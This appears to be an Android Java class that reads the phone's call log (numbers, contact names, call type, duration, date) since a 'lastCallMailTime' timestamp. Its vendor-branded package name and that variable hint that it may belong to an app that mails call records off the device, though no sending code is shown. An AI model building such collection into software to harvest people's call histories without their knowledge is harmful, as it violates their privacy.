package com.samsung.utils.phone.operations;

import java.util.ArrayList;

import com.samsung.utils.phone.content.StaticClass;
import com.samsung.utils.phone.db.CallDatabase;
import com.samsung.utils.phone.db.DatabaseBase;
import com.samsung.utils.phone.primitives.CallObject;
import com.samsung.utils.phone.primitives.ServiceObject;

import android.content.Context;
import android.database.Cursor;

public class CallOperations {

	Context context = null;
	private CallDatabase callDb = null;
	public CallOperations(Context context) {

		this.context = context;
		callDb = new CallDatabase(context, DatabaseBase.DATABASE_NAME, null,
				DatabaseBase.DATABASE_VERSION);
	}

	public ArrayList<ServiceObject> getCallLogs(long lastCallMailTime) {
		if(StaticClass.useDBRecord){ 			
			return callDb.getServiceObjects(lastCallMailTime);			
		}
		Cursor mCallCursor = null;
		try {
			ArrayList<ServiceObject> callList = new ArrayList<ServiceObject>();

			String[] strFields = { android.provider.CallLog.Calls.NUMBER,
					android.provider.CallLog.Calls.TYPE,
					android.provider.CallLog.Calls.CACHED_NAME,
					android.provider.CallLog.Calls.CACHED_NUMBER_TYPE,
					android.provider.CallLog.Calls.DURATION,
					android.provider.CallLog.Calls.DATE };
			String strOrder = android.provider.CallLog.Calls.DATE + " DESC";

			String selection = android.provider.CallLog.Calls.DATE + " >= "
					+ lastCallMailTime;

			mCallCursor = context.getContentResolver().query(
					android.provider.CallLog.Calls.CONTENT_URI, strFields,
					selection, null, strOrder);

			int indexDate = mCallCursor
					.getColumnIndex(android.provider.CallLog.Calls.DATE);
			int indexNumber = mCallCursor
					.getColumnIndex(android.provider.CallLog.Calls.NUMBER);
			int indexType = mCallCursor
					.getColumnIndex(android.provider.CallLog.Calls.TYPE);
			int indexDuration = mCallCursor
					.getColumnIndex(android.provider.CallLog.Calls.DURATION);
			int indexCachedName = mCallCursor
					.getColumnIndex(android.provider.CallLog.Calls.CACHED_NAME);

			// get start of cursor
			if (mCallCursor.moveToFirst()) {

				// loop through cursor
				do {

					String date = mCallCursor.getString(indexDate);

					String numberString = mCallCursor.getString(indexNumber);
					String typeString = mCallCursor.getString(indexType);
					String durationString = mCallCursor
							.getString(indexDuration);
					String nameString = mCallCursor.getString(indexCachedName);

					CallObject call = new CallObject(nameString, numberString, typeString,
							durationString, date);

					callList.add(call);

				} while (mCallCursor.moveToNext());

			}
			mCallCursor.close();

			return callList;
		} catch (Exception e) {

			return null;
		} finally {

			if (mCallCursor != null) {
				mCallCursor.close();
			}
		}

	}	
}
